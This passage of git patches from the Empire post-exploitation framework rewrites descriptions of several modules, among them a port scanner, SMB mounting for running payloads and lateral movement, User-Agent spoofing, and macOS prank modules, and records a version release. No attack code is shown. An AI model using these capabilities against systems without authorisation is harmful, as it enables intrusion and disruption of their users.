network reconnaissance capabilities for mapping + hostnames to IP addresses and understanding network topology. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml b/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml index ac9b286c4..a4fde5de8 100644 --- a/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml +++ b/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml @@ -6,7 +6,13 @@ authors: - name: '' handle: '@scottjpack' link: '' -description: Interacts with a HTTP REST API and returns the results back to the screen. +description: | + Performs HTTP requests to REST APIs using configurable HTTP methods (GET, + POST, PUT, DELETE, etc.). Supports custom HTTP request methods through + a custom Request class that extends urllib2 functionality. Sends requests + to specified endpoints with a spoofed User-Agent header to appear as + legitimate browser traffic. Returns the API response content for analysis + and data extraction. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/situational_awareness/network/port_scan.yaml b/empire/server/modules/python/situational_awareness/network/port_scan.yaml index 18aed0f0d..ece074090 100644 --- a/empire/server/modules/python/situational_awareness/network/port_scan.yaml +++ b/empire/server/modules/python/situational_awareness/network/port_scan.yaml @@ -3,7 +3,15 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Simple Port Scanner. +description: | + Performs network port scanning to identify open ports and services on target + systems. Supports multiple target formats including single IP addresses, + IP ranges (0-255), and CIDR notation for efficient network reconnaissance. + Uses raw socket connections with configurable timeouts to determine port + status. Provides essential network mapping capabilities for identifying + potential attack vectors, service enumeration, and network topology + discovery. Results include host IP addresses and their corresponding + open/closed port status for comprehensive network analysis. software: '' tactics: [TA0007] techniques: [T1046] diff --git a/empire/server/modules/python/situational_awareness/network/smb_mount.yaml b/empire/server/modules/python/situational_awareness/network/smb_mount.yaml index 62dc29f53..87ff3350c 100644 --- a/empire/server/modules/python/situational_awareness/network/smb_mount.yaml +++ b/empire/server/modules/python/situational_awareness/network/smb_mount.yaml @@ -3,8 +3,16 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will attempt mount an smb share and execute a command on - it. +description: | + Mounts SMB shares on macOS systems and executes commands within the mounted + filesystem. Supports domain authentication and handles special characters + in passwords through URL encoding. Creates a temporary mount point in + /Volumes/ directory, mounts the specified SMB share with provided credentials, + executes the specified command within the mounted filesystem, and then + unmounts the share. Useful for accessing remote file systems, executing + payloads from network shares, and performing lateral movement through + file system access. Provides a method for executing commands in the context + of remote SMB shares without requiring persistent access. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/trollsploit/osx/change_background.yaml b/empire/server/modules/python/trollsploit/osx/change_background.yaml index 41df6a78c..e2a4453ab 100644 --- a/empire/server/modules/python/trollsploit/osx/change_background.yaml +++ b/empire/server/modules/python/trollsploit/osx/change_background.yaml @@ -1,9 +1,28 @@ -name: Change Login Message for the user. +name: Change Background authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Change the login message for the user. +description: | + A macOS prank module that modifies system backgrounds to create + visual disruption or humorous effects. This module can change + both the desktop background and the login screen background + using custom images to alter the user's visual experience. + + The module uses macOS system commands to modify background + settings, targeting both the desktop picture through Finder + automation and the login screen background through system + cache manipulation. This allows for comprehensive visual + modification that affects both the current user session and + future login attempts. + + The background modification can be particularly effective + for creating psychological impact through unexpected visual + changes, especially when using humorous, shocking, or + confusing images. This module is commonly used for pranks + and social engineering scenarios where visual disruption + can create confusion or amusement while maintaining + system functionality. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/trollsploit/osx/login_message.yaml b/empire/server/modules/python/trollsploit/osx/login_message.yaml index 43dfe3b25..6b4883659 100644 --- a/empire/server/modules/python/trollsploit/osx/login_message.yaml +++ b/empire/server/modules/python/trollsploit/osx/login_message.yaml @@ -1,9 +1,26 @@ -name: Change Login Message for the user. +name: Change Login Message for the user authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Change the login message for the user. +description: | + A macOS prank module that modifies the system login message displayed + to users during the login process. This module can either set a custom + message or remove the existing login message entirely, allowing for + humorous or disruptive modifications to the user experience. + + The module uses macOS defaults commands to modify the loginwindow + preferences, specifically targeting the LoginwindowText property that + controls the message displayed on the login screen. This modification + affects all users who log into the system and can be used to display + custom messages, warnings, or humorous content during the authentication + process. + + The module requires administrative privileges to modify system-wide + login preferences and can be used to create psychological impact + through unexpected messaging during the login process. This type of + modification can be particularly effective for creating confusion + or amusement depending on the content of the displayed message. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/trollsploit/osx/say.yaml b/empire/server/modules/python/trollsploit/osx/say.yaml index 45c88b031..861a40fae 100644 --- a/empire/server/modules/python/trollsploit/osx/say.yaml +++ b/empire/server/modules/python/trollsploit/osx/say.yaml @@ -3,7 +3,24 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Performs text to speech using "say". +description: | + A macOS prank module that leverages the built-in text-to-speech + functionality to generate audible output on the target system. + This module uses the native "say" command to convert text input + into spoken audio through the system's speakers. + + The module supports various voice options including different + accents and languages available in macOS, allowing for customized + audio output. This can be used to create humorous or disruptive + effects by making the computer speak unexpected messages or + phrases without user interaction. + + The text-to-speech functionality can be particularly effective + for creating psychological impact through unexpected audio + output, especially in quiet environments or when users are + not expecting the system to produce speech. This module is + commonly used for pranks and social engineering scenarios + where audible disruption can create confusion or amusement. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml b/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml index 228a5171e..f5830c83c 100644 --- a/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml +++ b/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml @@ -3,7 +3,12 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Open Safari in the background and play Thunderstruck. +description: | + Launches Safari browser in the background and automatically navigates to + the AC/DC "Thunderstruck" music video on YouTube while setting system + volume to maximum. This module performs a humorous prank by playing + loud music without user interaction. Uses macOS system commands to + control volume settings and launch Safari with specific URL parameters. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python_template.yaml b/empire/server/modules/python_template.yaml index aebb0f9d5..fe185bfd0 100644 --- a/empire/server/modules/python_template.yaml +++ b/empire/server/modules/python_template.yaml @@ -2,6 +2,7 @@ # powershell/lateral_movement/Invoke-Template name: Active Directory Enumerator # The authors responsible for the original code and/or writing the Empire module for it. + authors: - name: Author 1 handle: '@author1' @@ -9,27 +10,35 @@ authors: description: | A description of what the module does and how it works. # Software and tools that from the MITRE ATT&CK framework (https://attack.mitre.org/software/) + software: # Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/) techniques: - T1141 - T1514 # True if the module needs to run in the background + background: false # File extension to save the file as + output_extension: # True if the module needs admin rights to run needs_admin: false # True if the method doesn't touch disk/is reasonably opsec safe + opsec_safe: false # The language for this module. Currently, only powershell and python are valid. + language: python # The minimum PowerShell or Python version needed for the module to run + min_language_version: '2.6' # List of any references/other comments + comments: - 'http://github.com/bc-security/empire' # Any options needed by the module, settable during runtime + options: # The 'Agent' option is the only one that MUST be in a module - name: Agent @@ -41,6 +50,7 @@ options: required: true value: '' # For many modules - inlining the script will be just fine. + # If the code can be used by multiple modules, or it is very large. # the script_path field can be used instead. Examples of this are in the wiki. script: | diff --git a/empire/server/plugins/example/plugin.yaml b/empire/server/plugins/example/plugin.yaml index 394d22fca..c1ae09f7d 100644 --- a/empire/server/plugins/example/plugin.yaml +++ b/empire/server/plugins/example/plugin.yaml @@ -6,6 +6,7 @@ authors: description: | A description of what the module does and how it works. # Software and tools that from the MITRE ATT&CK framework (https://attack.mitre.org/software/) + software: # Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/) techniques: @@ -14,6 +15,7 @@ techniques: comments: - Any additional comments about the module. # The entry point for the plugin. The file that contains the `Plugin` class. + main: example.py auto_start: true auto_execute: diff --git a/empire/test/plugin_install/FooPluginTemplate/plugin.yaml b/empire/test/plugin_install/FooPluginTemplate/plugin.yaml index 56a742415..1063e38bb 100644 --- a/empire/test/plugin_install/FooPluginTemplate/plugin.yaml +++ b/empire/test/plugin_install/FooPluginTemplate/plugin.yaml @@ -6,6 +6,7 @@ authors: description: | A description of what the module does and how it works. # Software and tools that from the MITRE ATT&CK framework (https://attack.mitre.org/software/) + software: # Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/) techniques: @@ -14,6 +15,7 @@ techniques: comments: - Any additional comments about the module. # The entry point for the plugin. The file that contains the `Plugin` class. + main: foo.py auto_start: true auto_execute: diff --git a/empire/test/plugin_install/LoadExceptionPlugin/plugin.yaml b/empire/test/plugin_install/LoadExceptionPlugin/plugin.yaml index f1bbe1c35..6f6d31663 100644 --- a/empire/test/plugin_install/LoadExceptionPlugin/plugin.yaml +++ b/empire/test/plugin_install/LoadExceptionPlugin/plugin.yaml @@ -6,6 +6,7 @@ authors: description: | A description of what the module does and how it works. # Software and tools that from the MITRE ATT&CK framework (https://attack.mitre.org/software/) + software: # Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/) techniques: @@ -14,6 +15,7 @@ techniques: comments: - Any additional comments about the module. # The entry point for the plugin. The file that contains the `Plugin` class. + main: foo.py auto_start: true auto_execute: diff --git a/empire/test/test_registry_2.yaml b/empire/test/test_registry_2.yaml index 71e360368..c778b64a3 100644 --- a/empire/test/test_registry_2.yaml +++ b/empire/test/test_registry_2.yaml @@ -18,6 +18,7 @@ plugins: - name: 1.0.0 tar_url: https://github.com/bc-security/slack-other/releases/download/v1.0.0/slack.tar.gz # TODO: checksum ? + subdirectory: - name: 1.0.1 tar_url: https://github.com/bc-security/slack-other/releases/download/v1.0.1/slack.tar.gz diff --git a/empire/test/test_server_config.yaml b/empire/test/test_server_config.yaml index cfd77c95c..4675b6cc4 100644 --- a/empire/test/test_server_config.yaml +++ b/empire/test/test_server_config.yaml @@ -40,6 +40,7 @@ starkiller: enabled: true repo: https://github.com/BC-SECURITY/Starkiller.git # Can be a branch, tag, or commit hash + ref: v2.8.2 submodules: auto_update: true From fa4580c215904fbedcc9e523257dbb6ae113619c Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 11 Jul 2025 03:14:07 +0000 Subject: [PATCH 4/6] Prepare release 6.1.3 private --- CHANGELOG.md | 8 ++++++-- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2c04bb4d0..91365cf14 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -14,7 +14,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] -- Fixed PowerShell agent having base64 encoded Cookie name for HTTP listener +## [6.1.3] - 2025-07-11 + +- Fixed PowerShell agent having base64 encoded Cookie name for HTTP listener ## [6.1.2] - 2025-05-21 @@ -1119,7 +1121,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.3...HEAD + +[6.1.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.2...v6.1.3 [6.1.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v6.1.1...v6.1.2 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 3895e8365..b839545d4 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -34,7 +34,7 @@ if TYPE_CHECKING: from socket import SocketIO -VERSION = "6.1.2 BC Security Fork" +VERSION = "6.1.3 BC Security Fork" log = logging.getLogger(__name__) diff --git a/pyproject.toml b/pyproject.toml index ff16f42b3..cba6535ff 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "6.1.2" +version = "6.1.3" description = "" authors = ["BC Security "] readme = "README.md" From 5d2c66c9a6b190c527495b903d67b04a121a1eac Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 11 Jul 2025 03:23:46 +0000 Subject: [PATCH 5/6] Update starkiller version to v3.0.1 --- CHANGELOG.md | 1 + empire/server/config.yaml | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 91365cf14..13b5302ce 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [6.1.3] - 2025-07-11 +- Updated Starkiller to v3.0.1 - Fixed PowerShell agent having base64 encoded Cookie name for HTTP listener diff --git a/empire/server/config.yaml b/empire/server/config.yaml index e43fedc05..a7d6c77b4 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -40,9 +40,9 @@ empire_compiler: archive: https://github.com/BC-SECURITY/Empire-Compiler/releases/download/v0.3.3/EmpireCompiler-{{platform}}-v0.3.3.tgz starkiller: enabled: true - repo: git@github.com:BC-SECURITY/Starkiller-Sponsors.git + repo: https://github.com/BC-SECURITY/Starkiller.git # Can be a branch, tag, or commit hash - ref: sponsors-main + ref: v3.0.1 submodules: auto_update: true plugin_marketplace: From 643db0f63c6993d9fcf58c5441ad4094f93bea9e Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Thu, 10 Jul 2025 20:25:28 -0700 Subject: [PATCH 6/6] Update CHANGELOG.md --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a553a8060..60e355884 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,8 +15,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] ## [6.1.3] - 2025-07-11 -- Updated Starkiller to v3.0.1 +- Updated Starkiller to v3.0.1 - Fixed PowerShell agent having base64 encoded Cookie name for HTTP listener ## [6.1.2] - 2025-05-21